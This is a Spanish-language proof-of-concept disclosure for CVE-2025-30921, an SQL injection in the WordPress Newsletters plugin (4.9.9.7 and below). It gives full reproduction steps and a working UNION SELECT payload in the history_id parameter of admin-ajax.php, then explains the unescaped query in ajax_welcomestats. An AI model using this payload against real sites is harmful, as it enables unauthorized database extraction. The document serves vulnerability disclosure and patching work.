
PoC de CVE-2025-30921
Plugin de WordPress
Nombre del componente Newsletters
Versión vulnerable <= 4.9.9.7
Slug del componente newsletters-lite
Enlace del componente https://wordpress.org/plugins/newsletters-lite/
Clase de vulnerabilidad A3: Inyección
Tipo de vulnerabilidad Inyección SQL
Administrador
Al ver el gráfico de resumen de estadísticas en el panel del plugin (/wp-admin/admin.php?page=newsletters) del plugin Newsletters versión 4.9.9.7 o inferior, se produce una vulnerabilidad de inyección SQL debido a una validación de entrada y un procesamiento de escape insuficientes de los parámetros de la URL.
Mediante esta vulnerabilidad, un atacante con privilegios de administrador puede explotarla para extraer información de la base de datos del sitio objetivo.
Prepare un sitio de WordPress con el plugin Newsletters versión 4.9.9.7 o inferior instalado.
Navegue al menú del panel del plugin Newsletters (/wp-admin/admin.php?page=newsletters).

Usando las herramientas de desarrollo del navegador, busque action=wpmlwelcomestats&security= en la pestaña 'Elements' y compruebe el valor de security. Por ejemplo, si el resultado de la búsqueda aparece como se muestra a continuación, anote 22b1ac0de6.
// ...
jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
// ...

Introduzca el valor de security anotado en la sección <SECURITY VALUE> de la siguiente ruta de URL y envíe una solicitud a esa URL.
http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
Entre los parámetros de la URL,
history_idcontiene la carga útil de inyección SQL, que permite consultar el nombre de la base de datos (DATABASE()) y la versión (@@VERSION). Por ejemplo, cuando el valor desecurityes22b1ac0de6, acceda a la siguiente URL.
http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=22b1ac0de6&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
Al comprobar la respuesta a la solicitud de la URL, puede confirmar que el nombre de la base de datos y la información de versión quedan expuestos debido a la vulnerabilidad de inyección SQL a través del parámetro history_id.

Al solicitar la URL donde se produce la vulnerabilidad de inyección SQL en el PoC anterior, se llama a la función ajax_welcomestats dentro del archivo /wp-content/plugins/newsletters-lite/wp-mailinglist-plugin.php.
En este punto, el parámetro de solicitud history_id se utiliza directamente como cláusula de condición en la cadena de consulta SQL y se inicializa como la variable $history_condition. Esta variable se pasa luego a la consulta de la base de datos sin ningún procesamiento de escape.

Por lo tanto, dado que no hay validación ni procesamiento de escape para los valores introducidos en el parámetro de URL history_id, se produce una vulnerabilidad de inyección SQL. (Tenga en cuenta que los parámetros de URL from y to también son vulnerables a ataques de inyección SQL debido a una validación de entrada y un procesamiento de escape insuficientes.)